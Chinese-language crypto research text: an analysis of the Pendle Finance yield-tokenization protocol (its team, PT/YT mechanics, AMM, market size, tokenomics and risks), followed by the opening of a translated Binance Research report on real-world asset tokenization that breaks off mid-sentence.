2023年3月，Pendle部署在Arbitrum。 2.3 团队情况 2.3.1 整体情况 根据LinkedIn数据，Pendle团队的员工一共有13位，主要由工程师、BD人员构成。 根据LinkedIn数据，Pendle团队的员工一共有13位，主要由工程师、BD人员构成。   来源：https://www.linkedin.com/company/pendlefinance/people/ 2.3.2 创始人 TN Lee是Pendle的创始人。在创立Pendle之前，他创立过数据分析公司DSR，并在2017年进入区块链行业发展，成为Kyber Network创始团队成员，负责市场和商务发展。在2019年担任RockMiner矿场顾问。同年，TN Lee创立了Pendle和Dana Labs，后者是一个专注FPGA的研发公司。 2.3.3 核心成员 Long Vuong Hoang：Pendle智能合约开发负责人，毕业于新加坡国立大学。在此之前在Jump Trading担任实习软件开发工程师。 Jeffrey Soong：前端开发负责人，在此之前Jeffrey在多家互联网公司担任工程师一职。   2021年4月，Pendle宣布获得370万美元融资，领头方是Mechanism Capital，其他知名机构包括 Hashkey Capital, Spartan Group等。 2023年4月，Bixin Ventures宣布通过OTC方式投资Pendle，具体交易价格和金额未披露。 Pendle可以为低风险投资者、利率交易者、流动性提供者和套利者4种不同投资群体提供相应的产品服务。 低风险投资者，可以购买本金代币（PT，principle token），赚取固定收益，PT类似于零息债券，即在持有期间不付息、折价卖出的债券，随着到期日的临近，价格上涨，到期后按照面值支付； 利率交易者，可以购买收益代币（YT，yield token），当收益率如期上涨的时候，就可以赚取高收益； 流动性提供者（Liquidity provider），如果预期收益率并不会波动太大，则可以选择提供流动性，赚取交易手续费、底层资产收益和激励； 套利者，当收益率不匹配，或者是底层资产的变动还没有传导至pendle时，可以通过买入不同的资产类别进行套利。 Pendle上线至今，一直专注于做收益代币化。到目前为止出现了V1和V2两个版本，通过两个版本底层资产的变化，可以看到Pendle业务战略思路的调整。 在V1版本早期，Pendle选择以借贷类DeFi的存款凭证为核心，底层资产是“稳定币+公链代币”。比如，在以太坊链上，底层资产选择的是Aave和Compound的稳定币借贷资产作为生息资产：aUSDC和cDAI；在Avalanche上，则选了Trader Joe的xJOE、BenQi的qiUSDC、qiAVAX等。这样的标的选择，符合当时“机构投资者进场”和“国库资金管理”的叙事：2020年开启的大牛市，让很多传统投资机构关注到了加密市场，伴随着市场体量的扩大，一些项目的DAO国库也充盈着大量的资金，能兼顾传统投资者熟悉的品类以及如何更好让DAO国库资金赚取更多收益，成为一些投资者和创业团队关注的重点。比如，在2021年10月Multicoin Capital就针对这样的愿景开始讨论利率管理工具。同时，与Rari Capital、Olympus合作，拓展一部分代币的应用场景。 从V1版本的晚期到现在的V2版本，Pendle进行了调整，关闭了Avalanche上的业务，开始部署在了Arbitrum上。同时，标的不再局限在公链代币和稳定币，而是主要变成了4个方向。其中，以太坊涉及到3个方向： 在以太坊链上，以流动性质押衍生品LSD作为主要底层资产，比如stETH、ankrETH等； 拓展质押收益高且相对热门的代币，比如APE和LOOKS； 对于相对热门代币，提供周边服务，比如APE Compounder，为这些代币的持有者提供复投服务，并介绍相应的收益代币池。 来源：https://app.pendle.finance/pro/markets?utm_source=landing&utm_medium=landing Pendle在Arbitrum上的业务涉及第4个方向：把其他收益较高且风险并不太高的标的纳入，比如GLP和gDAI。GLP和gDAI分别是衍生品项目GMX和Gains Network的流动性代币，GLP 由约50%稳定币、28%ETH、20%WBTC和一些其他主流资产组成。流动性提供者通过铸造或销毁 GLP 进入或退出市场。gDAI的构成则都是DAI。GLP和gDAI都可赚取手续费、清算收益等。 来源：https://app.pendle.finance/pro/markets?utm_source=landing&utm_medium=landing 到目前为止，Pendle并没有拓展自身代币的应用场景，比如邀请其他的DAO来做国库金管理，这可能是因为Pendle希望用户来这里就是为了直接使用其服务。 之前预计的PP（Project Permissionless）计划，虽然受到了合作方Rari Capital关停以及战略调整的影响，但是仍然没有中断：推出了可封装绝大部分生息资产的新代币标准：ERC-5115，解决了以往难以被封装并进行收益代币化的LP代币的问题。 除此之外，还集成了跨链方案LayerZero和去中心化交易所Kyber Network，用于支持其他链上可能出现的较高收益率的产品。 Pendle的收益代币化业务，简单说就是把生息类代币分拆成本金和收益两个部分。 以DAI为例，当用户把100个DAI存入Pendle之后，Pendle会先把DAI存入compound中，变成100个cDAI。然后，Pendle会把100个cDAI封装成标准化收益代币sy-cDAI（Standardized Yield，缩写成sy），随后拆分成100个本金代币（principle token，缩写为PT）PT-cDAI和100个收益代币（yield token，缩写为YT）YT-cDAI。其中，每一个本金代币PT-cDAI在到期后，都可以兑换一个DAI；每一个YT-cDAI，可以兑换在持有期间的cDAI收益。 来源：https://app.pendle.finance/pro/learn?level=1 我们可以把本金代币PT看成是零息债券。越接近到期日，PT的价格就越接近面值；收益代币YT则获得持有期间的任何收益。比如，YT-cDAI在持有期间拥有借贷收益，也拥有Compound提供的COMP激励。 值得注意的是，在上述步骤中，YT+PT=SY。 以业务流程角度来看，用户在Pendle中存入资产后，一共会发生几个变化。我们在这里以用户存入的资产是ETH为例： 用户存入ETH，在“Zap”模式下，Pendle将自动通过Kyberswap把ETH换成stETH； Pendle将stETH封装成sy-stTH。标准化收益代币（Standardized Yield，缩写成sy）是ERC-5115标准下的代币，该代币标准下可以封装绝大部分生息资产。该代币协议也是Pendle团队设计的代币标准； 如果用户选择“零价格冲击模式”（zero price impact mode），则Pendle会在第三步中，将一半的sy-stTH分拆成为收益代币YT-stETH和本金代币PT-stETH，并将PT-stETH与另一半sy-stTH组合成LP放入池子中，收益代币YT-stETH存放在用户账户中；如果用户不选择“零价格冲击模式”，则Pendle会在将PT-stETH与另一半sy-stTH组合成LP放入池子中的同时，把YT-stETH自动卖出，并将获得的资金购买更多PT-stETH。如果用户选择“manual”，则上述步骤都需要用户手动操作。 来源：https://app.pendle.finance/pro/pools/0x54e28e62ea9e8d755dc6e74674eabe2abfdb004e/zap/in 除了直接存入资产组成LP之外，用户还可以直接通过Pendle购买PT和YT。 Pendle采用了AMM机制用于交易PT和YT，但这个AMM机制需要考虑时间流逝下的PT、SY价格，以及利率水平，与传统Uniswap的AMM机制有所不同。 V2版本中，Pendle改进了AMM机制，借鉴了另一个固定收益项目—Notoinal Finance的AMM模型。之所以进行这样的改变，是因为Pendle发现Notional Finance的模型在同等流动性的情况下，资金效率更高、用户的无常损失更小（下图中红色的曲线即Notional Finance的模型；黑色曲线是Pendle V1版本中的AMM模型；蓝色曲线是其他固定收益项目，如Element Finance、Sense Finance的AMM模型）。 来源：https://raw.githubusercontent.com/pendle-finance/pendle-v2-resources/main/whitepapers/V2_AMM.pdf 除此之外，Notional Finance的模型，相比与Pendle V1版本中的AMM模型而言，可根据不同生息资产的利率范围调整参数，制定更加适合不同资产的定制化AMM模型。 来源：https://raw.githubusercontent.com/pendle-finance/pendle-v2-resources/main/whitepapers/V2_AMM.pdf   来源：https://raw.githubusercontent.com/pendle-finance/pendle-v2-resources/main/whitepapers/V2_AMM.pdf 在上述模型中，调整“rate scalar”可设置到期时间，该参数可改进资本利用效率，如果到期时间越短，流动性越集中，资金的利用效率越高。通过调整“rate anchor”来设定利率范围，也可改进资金利用效率。 根据回测情况，不同的底层资产在使用新模型之后，其资金效率可以比V1的AMM模型显著提升。 来源：https://docs.pendle.finance/PendlePro/HowItWorks/AMM 这个AMM模型的初衷是为了交易本金代币PT和标准化收益代币SY。不过，因为YT+PT=SY，YT=SY-PT，所以这个AMM模型也支持收益代币YT的交易。 如果用户想买入YT，交易过程如下： 买家将1个SY送入交易合约中，希望购买YT； 交易合约会从池子中抽取N个SY； 将N个SY分拆成N个PT和N个YT； 将N个YT发送给买家； PT送回池子。 来源：https://docs.pendle.finance/PendlePro/HowItWorks/AMM 如果用户想要卖出YT，则遵循以下步骤： 卖家将N个YT送入交易合约中，希望卖出YT； 合约将从池子中借出N个PT； 合约将N个YT和N个PT合成为N个SY； 一部分的SY将换成PT发送至合约，用于偿还步骤（2）借出的PT； 剩余的SY将发送给卖家。 来源：https://docs.pendle.finance/PendlePro/HowItWorks/AMM 因此，在Pendle的AMM模型虽然支持YT、PT和SY3种代币的交易，但没有YT交易发生的时候，池子中只存在SY和PT两类资产。 在这样的AMM机制下，就可以衍生出几种不同的投资策略。 来源：https://app.pendle.finance/pro/learn?level=1 首先，用户可以添加流动性做LP，赚取手续费与token激励。 因为池子中只有PT和SY两类资产，而1个PT在到期之前，其价格小于1个SY，且PT和SY的关系，建立在利率之上。所以，如果在Pendle上做流动性提供者，其实可以看做提供了一类资产，即SY。因为LP=PT+ST=SYf(r)+SY=SY（1+f(r)），这里1+f(r)implied APY时，此时可以考虑买入YT，或卖出PT、做LP。不过可能underlying APY与implied APY趋同的方式，是通过underlying APY下降而非implied APY上涨实现； 当underlying APY<implied APY时，此时可以考虑买入PT、做LP，或卖出YT，underlying APY与implied APY趋同的方式，可能是通过implied APY下降而非underlying APY上涨实现。 来源：https://app.pendle.finance/pro/markets/0xfcbae4635ca89866f83add208ecceec742678746/swap?view=yt 来源：https://app.pendle.finance/pro/markets/0x9a76925dd91a7561b58d8353f0bce4df1e517abb/swap?view=yt implied APY和underlying APY的关系核心是需考虑市场的实际情况。对APY方向的预判，要结合底层资产影响收益率的因素来进行分析。 以以太坊链上的生息资产为例，当前有3类生息资产是LP代币，包括Aura Finance中的wstETH-WETH、rETH-WETH和ankrETH-WETH。这4类资产，除了来自于相应项目的token激励之外，影响短期收益率最大的因素仍然是LP手续费。 来源：https://app.pendle.finance/pro/markets 观察3个交易对的交易量情况可能就能指导我们对于收益率方向的判断。 从下面4幅图可以看出，交易量在2022年的5月、6月、11月，以及2023年的1月、3月有所放大，在这期间的交易手续费会上涨。 来源：https://app.balancer.fi/#/ethereum/pool/0x32296969ef14eb0c6d29669c550d4a0449130230000200000000000000000080 来源：https://app.balancer.fi/#/ethereum/pool/0x8a34b5ad76f528bfec06c80d85ef3b53da7fc30000020000000000000000043e 如果能预期到当时影响市场的核心因素，以及在事件发生后及时对收益率的涨跌做出判断，可能就更有机会对Pendle中的PT、LP和YT交易策略做出指引。   来源：https://stats.gmx.io/ 来源：https://dune.com/unionepro/Everthing-Gains-Network 同样的道理也适用于GLP和gDAI的交易，只是GLP和gDAI的净收益率，除了考量交易量带来的交易手续费收益，还需要考虑交易者的盈利情况。如果短期内交易者整体盈利较多，GLP的净收益则会降低，甚至是亏损。 对于APE这类型项目，虽然仍然是staking类的代币，但是与stETH等公链代币不同的是，这一类代币的质押收益率可能在早期会非常高，然后会随着质押代币数量增加而迅速降低。 来源：https://dune.com/ponzidope/apecoin-staking-apy 因为PT和收益率呈现出负相关关系，YT与收益率呈现出正相关关系，所以对于这一类代币的投资策略是选择观测其质押代币的数量和质押收益率的情况，如果出现质押收益率快速下降的局面，则PT会在短期内相对于SY出现明显上涨。 以U本位计算投资收益率的话，希望SY在上涨的同时，质押率提升、质押收益率下降，此时PT就将会是很好的投资标的。综合来看，根据标的的不同属性，我们可以得出不同的投资策略。   在V1版本中，Pendle部署在了Ethereum和Avalanche上，当时与两个公链上的部分项目达成了一些合作。 比如，在Avalanche上，与BENQI达成合作，上线了qiAVAX和qiUSDC两个池子。BENQI DAO将其持有的价值25万美元的USDC和AVAV部署到了Pendle的qiUSDC和qiAVAX pools中；与Trader Joe也达成过合作，上线了xJOE池，并在Trader Joe建立了PENDLE/AVAX池。 在最新的V2版本中，现阶段Pendle只部署在Ethereum和Arbitrum上，之所以做出这样的选择，可能跟Avalanche现阶段的生态状态有关系： Avalanche的TVL不足10亿美元，其原生DeFi中，最高TVL的项目是Benqi，其锁仓量约为2.4亿美元，跟Arbitrum当前接近23亿锁仓量、最大TVL项目—GMX接近6亿美元锁仓量差距明显。这样的观点也得到了社区相关人员的正面回应。 来源：https://defillama.com/chain/Avalanche 3.5.1 分类 虽然Pendle自己定位于固定收益市场，但从V2版本的改观来看，Pendle团队似乎对“链上固定收益市场”进行了分层： 以LSD为代表，作为低风险固定收益市场。这一类市场的特点是底层资产风险很低，收益率相对稳定，周期性对于收益率影响不大； 以LSD的LP token以及稳定币LP token为代表，作为较低风险固定收益市场。这一类市场的特点是底层资产风险较低，但周期性相对而言较明显，特别是市场中出现高波动的时候，某些时刻的收益率可能会偏高； 以GLP和gDAI为代表，作为中风险固定收益市场。这一类市场的特点是收益偏高的同时风险也较高，收益率受到其链上衍生品交易者的影响，随着行情剧烈波动； 以APE为代表，作为高风险固定收益市场。这一类市场的特点是跟随标的的波动剧烈，收益很高但可能波动也很大，随着单个项目质押用户的疯狂涌入，收益率可能会出现暴跌。 3.5.2 市场规模 以目前TVL排名最高的且可进行质押的TOP 5公链项目来看，现阶段的平均质押率约为35%。包括以太坊在内的公链仍然有较大的增长空间。 如果达到市场预期的50%以上的质押率水平，那么头部公链的质押市场增长率更高。以目前市值最高、生态最为成熟的以太坊为例，其流动性质押衍生品的占比约33%。如果未来3年以太坊的质押率提升至50%，则约有16.5%的ETH最终会形成例如stETH的衍生品。按照当前以太坊2300亿美元左右的市场估算，LSD的市场规模可以达到380亿美元左右。 数据来源：StakingRewards，Mint Ventures，数据截至2023年4月11日 在以太坊的流动性质押赛道中，Lido的占比达到了73.4%左右。Lido的流动性质押衍生品中，有14%左右进入到了Curve中。 来源：https://dune.com/LidoAnalytical/Lido-Finance-Extended 如果Lido未来的市场份额不会显著下滑，且LSD在DEX中的去向主要是Curve，那么未来将有约39亿美元的LSD将组成LP存在于Curve中，LP对应的市值约为78亿美元。那么LSD+LSD LP的总规模接近于460亿美元。随着以太坊市值的增加、质押率的提升以及越来越多的LSD将添加至DEX中，该规模还会进一步增加。 LSD和LSD LP代币的固定收益市场的需求偏强。在Pendle中相应资产池上线之后，截至目前TVL达到了2400万美元的规模。 来源：https://defillama.com/protocol/pendle 第三是稳定币的LP代币市场 虽然稳定币的交易活跃，但似乎市场对于基于稳定币的LP代币并不感冒。这类型的池子上线了1年多，总体呈现出流动性衰减的情况。从Pendle新上池子的策略也可以看到，稳定币LP可能不会是Pendle下一阶段的重点。 来源：https://defillama.com/protocol/pendle 第四是GLP和gDAI的中风险市场 这类型市场的需求比较明确，从池子设立到现在，已经有2000万美元左右的TVL，相比之下GLP的总市值为5.3亿美元。一方面是由于Pendle给了代币激励，另一方面该市场存在更强的投机和风险对冲需求。 来源：https://defillama.com/protocol/pendle 不论是GLP还是gDAI，当前的PT收益率诱人。仅仅是买入并持有PT就可以在收益率较高的时候锁定收益率水平，对于一些保守的投资者就足够有吸引力，且该收益率高于GLP的长期持有收益率。同样的道理也适用于gDAI。 来源：https://app.pendle.finance/pro/markets 但是，目前类似的衍生品中只有GMX和其仿盘跑通业务规模。所以该部分业务的发展空间受限于这类型项目的发展情况，短期来看，可能市场空间在10亿美元以内。 这类型市场的发展，不仅仅与代币本身的市值有关系，还和质押收益下滑的速度有关系。如果质押收益率下滑速度过快，那么这类型的池子规模也很难增长起来。 来源：https://defillama.com/protocol/pendle 不过，这一类型池子的策略可能不是期待单个池子可以成长到很大的市值，而是比拼速度：较高市值较高质押收益的代币一旦出现，就应该快速部署上线该代币的固定收益交易池。单个池子可能最终的规模只有几百万至小几千万美元的TVL，但由于有一系列类似的池子，所以组合在一起的TVL会比较高。 不论是低风险还是高风险，市场中还存在其他不同风险和收益的策略，未来都可以纳入Pendle的范围。 Pendle现阶段的TVL约为5532万美元，其中Avalanche的业务已经暂停，暂时还剩一些未到期的资产，TVL为96万美元。以太坊上有2871万美元的TVL，Arbitrum上有约2565万美元的TVL。 来源：https://defillama.com/protocol/pendle 在目前存在的12个池子中，LSD相关的池子共计7个，TVL占比过半。 来源：https://app.pendle.finance/pro/pools 当前每周的交易量为1000万美元左右，最高峰达到过接近110万美元的周交易量。 来源：https://defillama.com/protocol/pendle 3.7 项目竞争格局 立足收益代币化深耕固定收益市场的项目还有Swivel Finance、Delv（Element Finance）、APwine和Sense Finance，从TVL、产品线2个简单维度就可以看出相互之间的差异。 3.7.1 TVL 在经历了2022年的熊市之后，大量项目的TVL暴跌，Pendle所在的赛道也不例外。目前TVL在千万级别的只有Pendle，Delv的TVL在百万级别，其他3个项目的TVL已经在几十万美元甚至几万美元徘徊。 来源：DeFi Llima，Mint Ventures，数据截至2023年4月11日 3.7.2 产品线 来源：各项目网站，Mint Ventures，数据截至2023年4月11日 从产品线的分布来看，APWine和Delv并没有选对标的。在目前加密生态中，没有交易对手风险且可支持长期价值捕获的只有LSD。 Swivel Finance和Sense Finance把LSD纳入底层资产是战略上很好的举措，不过也可以尝试将LSD的LP代币或LSD的借贷类代币纳入生态，以Lido为例，其15%的stETH在Curve中做LP，接近30%的stETH在Aave作为抵押物。 以LSD作为低风险市场可以确保项目在熊市期间仍然有相对良好的收益率，以“中风险”和“高风险”资产作为比较激进的策略又可以在市场热度较高时迎合用户的需求，这样的资产池分布是比较合适的。当前Pendle的产品线最丰富，且新的产品线，如GLP和gDAI也得到了市场的认可，TVL增长较快。综合看来，Pendle暂居于赛道内的领先位置。 3.8.1 代币总量和分配情况 PENDLE的代币供应量没有上限，释放分为3个阶段： 最初的26周：每周释放120万枚PENDLE； 第27周至260周：每周释放量减少1%； 从261周开始：未来每年的通胀率为2%，用于激励用户。 来源：https://medium.com/pendle/pendle-tokenomics-3a33d9caa0e4 在PENDLE上线两年后，代币的分布情况如下图： 来源：https://medium.com/pendle/pendle-tokenomics-3a33d9caa0e4 在这之中： 团队持有的代币：会在代币上线1年后开始按照季度线性解锁，2年解锁完毕。根据最新情况，2023年4月将全部解锁完毕； 投资者和顾问持有的代币：在流动性挖矿激励开启后3个月开始线性解锁，目前已经全部释放完毕； 生态基金：50%代币上线后即解锁，50%在一年后线性解锁。 来源：https://www.tokenomicshub.xyz/posts/pendle 3.8.2 代币价值捕获 在V1版本中，PENDLE只是一种效用和治理代币，主要的功能是参与项目治理。不过在当时Pendle团队已经注意到了Ve模型在治理上的优势，留下了参考Ve模型进行代币机制改进的窗口。 在V2版本中，Pendle团队正式将Ve模型引入了PENDLE代币，由此PENDLE代币拥有了价值捕获能力。 来源：https://app.pendle.finance/vependle/lock/update 用户当前锁仓最短可选择1周，最长可选择2年。与veCRV一样，vePENDLE会随着时间缩短而价值降低。 来源：https://docs.pendle.finance/Governance/vePENDLE 价值捕获方面，首先，vePENDLE的持有者可参与手续费和收益的分配。 vePENDLE的持有人可以投票决定给哪个池子激励，并获得该池子内的部分收入：来自YT产生收益的3%将分配给投票该池子的vePENDLE持有者。如果PT在到期后并没有被用户赎回，到期后产生的收益也将分配给投票该池子的vePENDLE持有者。 当前在以太坊链上的池子中，绝大部分为ETH的流动性质押衍生品，TVL约2400万美元，假设这些资产提供的年化收益率为5%，则vePENDLE持有者可分配到：2400*5%*3%=3.6万美元； 当前在Arbitrum链上的池子中，只有GLP和gDAI，TVL约为2000万美元，根据两个项目过往数据，假设这两个项目可提供年化15%的收益率，则vePENDLE持有者可分配到：2000*15%*3%=9万美元。另外，每个池子产生的交易手续费中，有80%将分配给该投票给该池子的vePENDLE持有者。 年初至今，Pendle的日均交易量约为40万美元左右，交易手续费率为0.1%，如果日均交易量不变且按此比例计算，每年可为vePENDLE持有者提供的收益为：40**365**0.1%*80%=11.7万美元。 如果业务没有明显变化，vePENDLE一年产生的总收益约为24.3万美元左右。其次，除了收取手续费和收益之外，如果vePENDLE的持有者同时也是LP，则可以获得最高250%的Pendle排放激励。 以sfrxETH池子为例，用户作为LP的基础收益率为25.1%，在vePENDLE的激励下最高可获得50.3%的收益率。 来源：https://app.pendle.finance/simple/pools/0xfb8f489df4e04609f4f4e54f586f960818b70041 对收益率的显著提升也刺激了PENDLE的锁仓规模。当前锁仓了3002万枚PENDLE，接近当前流通中PENDLE总量的1/5。 来源：https://app.pendle.finance/vependle/overview 3.8.3 代币核心需求方 在采用vePENDLE模型之后，对于PENDLE的需求方变得更加多元： 流动性提供者（LP）：对于LP而言，采用vePENDLE对收益率有显著提升，一部分投资者可能会选择购买PENDLE并锁仓，同时vePENDLE还可以获得该池子的收益和部分手续费； PENDLE代币的长期投资者：由于PENDLE可以获得手续费和收益分成，对于一些希望获得长期现金流的投资者来说PENDLE开始变得有吸引力，这一部分投资者也可能会将PENDLE代币纳入自己的投资范围。不过考虑到当前vePENDLE预计年收入仅为20万美元左右，相比于这一部分锁仓的PENDLE而言微不足道，所以PENDLE的持有者更有可能在意未来的成长性。 在V2版本发布之后，PENDLE的持有者数量增长了接近50%，现有持币地址为3415个。 来源：https://dune.com/yulesa/Pendle 从持币集中度来看，当前TOP 5持有约44%的PENDLE代币。其中，持币量第一地址是锁仓PENDLE的地址。一些私募轮的投资者，如Crypto.com当前仍然持有代币。根据Bubblemaps数据，现阶段持有约3.4%的PENDLE代币。 来源：https://dune.com/yulesa/Pendle 3.8.4 通证模型总结 在V2版本改进之后，PENDLE的应用场景和价值捕获比以前有了较为明显的提升。如果希望能吸引到长期稳定的低风险投资者，如何丰富底层资产的品种以及做大TVL非常关键。 合约风险：近期出现了多起黑客攻击事件，被盗金额也在上亿美元，被盗项目的类型不局限于去中心化交易所和借贷协议。如果发生此类事件，对于项目的正常运营以及代币价值捕获会有明显影响。这个风险不仅仅在Pendle自身，由于Pendle的底层资产来自于其他项目，所以其他项目如果出现合约风险也会牵连到Pendle，导致Pendle业务和经营情况萎缩。 战略风险：选择好底层资产非常关键。如果没有选好资产、选好资产所在的公链，则可能会在下一阶段的竞争当中被竞争对手甩开。在V1版本时，选择部署在Avalanche上目前看来就是一个战略失误，其Avalanche业务短暂上涨后持续下跌。项目团队当时没有想清楚底应该选择什么样的底层资产，以及没有预料到公链竞争的残酷性，导致在V1版本中部署Avalanche的计划失败。 来源：https://defillama.com/protocol/pendle 市场风险：部分底层资产，如GLP的价格并不锚定美元或公链代币，处于相对浮动状态，且不太方便对冲。这对于U本位投资者而言并不友好。如果在项目运营期间市场出现大幅下跌，导致以美元计价的GLP价格下跌，特别是YT的投资者，可能会遭受较大亏损，这也许会让用户流失到其他相对稳妥的项目中去。 4. 初步价值评估 4.1 核心问题 项目处在哪个经营周期？是成熟期，还是发展的早中期？ 经过2年左右的发展，项目团队对于底层资产的选择能力得到了提升，通过学习其他优秀AMM模型，也提升了用户交易时的体验，降低了成本，产品相比于同赛道的其他项目在快速增长期。但是，收益代币化、固定收益赛道，仍然在DeFi中处于早期阶段。 DEX的一部分核心优势来自于交易模型和资产类别。从当前Pendle采用的AMM模型机制来看，具有一定的优越性。资产类别的选择上，以LSD作为基本盘，确保了项目在熊市也有比较稳定的收入，可以留住一部分投资者。Pendle团队还需要进一步提升模型的创新能力，以及底层资产的甄别能力，才有可能在收益代币化赛道的竞争中持续保持领先。 PT的收益率接近低风险套利者的年化收益，YT可以满足高风险投资者对于行情的博弈，目前“低-中-高”资产类别的选择合适，比较接近当前市场中投资者的构成。 主要变量仍然是AMM模型的优化以及资产类别的选择。这两种因素都可以通过交易和产品热度观测到。 项目仍然由团队管理，未来将逐步转移至DAO。从discord群组中讨论程度来看，项目相关人员对于产品的理解能力较好。未来值得关注的是DAO的管理水平。 由于当前赛道中的主要项目还没有全部发币，发币的项目暂时不都具备价值捕获能力，所以在这里以“市值/锁仓量”作为参考标准。从数据上看，Pendle当前的估值相较于其他两个已经发币的项目而言比较便宜。 数据来源：Coingecko，DeFi Llama，Mint Ventures，数据截至2023年4月11日 5. 参考资料 https://www.linkedin.com/in/tnlee/ https://www.linkedin.com/company/pendlefinance/people/ https://docs.pendle.finance/PendlePro/HowItWorks/SY https://medium.com/pendle/pendle-tokenomics-3a33d9caa0e4 https://www.tokenomicshub.xyz/posts/pendle https://docs.pendle.finance/Governance/vePENDLE https://medium.com/pendle/treasury-management-with-pendle-x-benqi-f495250940a2 https://medium.com/pendle/pendle-and-the-qi-musketeers-8f084352c249 https://medium.com/pendle/pendle-and-the-3-joesephs-dee7c645ff12 https://medium.com/pendle/pendle-x-rari-fuse-pool-6016713a0d2 https://medium.com/pendle/pendle-x-olympus-pro-6abc640f4730 https://medium.com/pendle/apecoin-market-launch-f39294872976 https://medium.com/pendle/apecoin-compounder-by-pendle-af5bd60814f1 https://medium.com/pendle/pendles-pp-6c91bae9e7dd https://medium.com/pendle/pendle-2021-wrapped-c91b8052defb https://medium.com/pendle/pendle-on-avalanche-8028fc42957e https://medium.com/pendle/pendle-is-live-23589c8b14dc https://ethereum-magicians.org/t/eip-5115-super-composable-yield-token/9423 https://medium.com/pendle/pendle-v2-part-1-3-foundation-6e1773a1d2f4 https://medium.com/pendle/pendle-v2-part-2-3-open-access-25c1783a0b4f https://medium.com/pendle/pendle-v2-launch-part-3-3-updated-tokenomics-b6c6501b8286 https://medium.com/pendle/pendle-v2-part-1-3-foundation-6e1773a1d2f4 https://docs.pendle.finance/PendlePro/HowItWorks/AMM https://raw.githubusercontent.com/pendle-finance/pendle-v2-resources/main/whitepapers/V2_AMM.pdf https://handbook.pendle.finance/liquidity-provision/simple-lp-zap https://dune.com/impossiblefinance/liquid-staking-derivatives https://dune.com/LidoAnalytical/Lido-Finance-Extended https://dune.com/LidoAnalytical/stETH-deposited-per-protocol https://defillama.com/protocol/pendle https://dune.com/yulesa/Pendle https://etherscan.io/token/0x808507121b80c02388fad14726482e061b8da827?a=0x4f30a9d41b80ecc5b94306ab4364951ae3170210#tokenAnalytics https://app.bubblemaps.io/eth/token/0x808507121b80c02388fad14726482e061b8da827 https://multicoin.capital/2021/10/06/exploring-the-opportunity-for-defi-interest-rate-markets/ https://launchpad.ethereum.org/en/  ( 9 min )
    币安研究院报告：现实世界资产代币化RWA ，嫁接TradFi与DeFi的桥梁
    目前，虚拟资产市场（主要是虚拟货币）的总市值在 1 万亿美元上下，但据麦肯锡数据显示，全球金融系统一年的交易额就超过了 5.76 万亿美元，其市值更是超过 487 万亿美元。这些数据揭示了链下现实世界资产蕴藏的惊人价值，以及连通中心化和去中心化系统的重要意义。现实世界资产（RWA）代币化则可以作为桥梁实现嫁接，极有可能是 DeFi 的下一个巨大叙事。 本文编译了 Binance Research 于 2023 年 3 月 2 日发布的报告：《Real World Assets: The Bridge Between TradFi and DeFi》，以作为个人探索 Web3 世界的学习参考。 报告作者：Mac Naggar，链接：https://research.binance.com/en/analysis/real-world-assets   对于大多数 DeFi 协议而言，投资者基于链上活动获得收益（如 DEX 交易费用，贷款协议产生的收益，以及最近火热的 LSD 等）。除此之外，一种新的真实收益（Real Yield）来源正在逐步崭露头角：存在于链下的现实世界资产（Real World Assets, RWA），通过代币化（Tokenization）之后带到链上，作为 DeFi 生态的另一种收益来源。 RWA 可以代表许多不同类型的传统资产（包括有形资产和无形资产），如商业地产、债券、汽车，以及几乎任何存储价值可以被代币化的资产。从区块链技术的早期开始，市场参与者就一直在寻求将 RWA 引入链上。传统 TradFi 机构如高盛（Goldman Sachs）、汉密尔顿巷（Hamilton Lane）、西门子（Siemens）和 KKR 等都宣布，正努力将自身的现实世界资产上链。此外，MakerDAO 和 Aave 等这类原生加密 DeFi 协议也正在作出调整，以与 RWA 兼容。 RWA 的上链入场对于 DeFi 市场的潜在影响几乎是变革性的。RWA 能为 DeFi 市场提供可持续的、丰富类型的、有传统资产支持的真实收益率。此外，RWA 能为 DeFi 嫁接起去中心化金融体系和传统金融体系的桥梁，这意味着 RWA 能为 DeFi 市场导入虚拟资产市场之外，传统金融市场的海量的流动性、广阔的市场机会和巨大的价值捕获（虚拟资产市场资产价值约为 1 万亿美元，而传统金融市场的资产价值为 10 万亿美元）。如果 DeFi 想要对传统金融的运作方式产生影响，那么 RWA 的引入和实施至关重要。 在 Binance Research 的这份报告中，通过研究快速发展的 RWA 生态，包括 RWA 是什么，RWA 如何运作，RWA 背后的目的，RWA 生态的市场分析，RWA 领域的主要参与者，最终概述 RWA 的发展的挑战。 如要将现实世界资产带入到 DeFi 生态，则需要将现实世界资产的价值代币化，即将现实资产的货币价值转换为数字代币，以便其价值能够在区块链上体现并交易。任何能够对应货币价值的现实世界资产代币化后都可以用 RWA 表示。 将现实世界资产带入区块链背后的主要驱动力是：从长期来看，DeFi 能够为资产持有人提供独有的市场机会和效率，这在传统的金融体系中是缺失的。 在历史进程中，传统的金融体系（TradFi）依赖于中介系统，包括撮合商、第三方调查机构和政府监管。虽然这些中介系统能够在一定程度上提供安全和信任背书，但它们是以牺牲市场机会和效率为代价的。当市场参与者不愿向寻租的中介机构支付费用，或被严厉的监管机构拒绝进入市场，或者不愿在其资产由第三方控制的体系中进行交易时，市场机会和效率就会大幅下降。 DeFi 有望消除 TradFi 中的一些限制，为资产持有人在市场机会和效率方面进行实质性改进。DeFi 最大限度地减少或完全消除了 TradFi 中的中介系统，从而有效地降低了金融市场的一块巨大运营成本。 除了消除中介系统之外，DeFi 的内部创新能够进一步提高市场效率并增加机会。例如，自动做市商机制（Automatic Market Maker, AMM）允许资产持有人即时获得流动性并完成交易，这在传统金融结算系统中并不常见。此外，通过资产代币化，资产持有者可以轻松分割、碎片化（Fractionalize）资产价值并分散风险，这使资金体量较小的投资者也能接触到传统投资门槛较高的资产。最后，区块链分布式账本的公开透明为 DeFi 的市场参与者提供了交易流程、资产所有权和资产计价的清晰度，这些往往隐藏在 TradFi 的黑箱中。 随着 DeFi 生态的不断成熟并证明其可行性，未来大部分资产持有人可能希望通过 RWA 来代表他们的资产，以便获得 DeFi 提供的独有的市场机会和效率。 2.3 RWA 如何运作 我们已经明确 RWA 是链下现实世界资产代币化的表示。那么厘清物理世界与数字世界中资产所有权和资产价值如何转换至关重要，即如何将 RWA 解释为现实世界资产的合法表示。将现实世界资产代币化，即 RWA 的流程分为三个阶段：（1）链下包装；（2）信息桥接；（3）RWA 协议需求和供应。 链下包装（Off-Chain Formalization） 要将现实世界资产带入 DeFi，首先必须在链下将资产进行包装使其合规化，以明确资产的价值、资产所有权、资产权益的法律保障等。 经济价值的表示（Representation of Economic 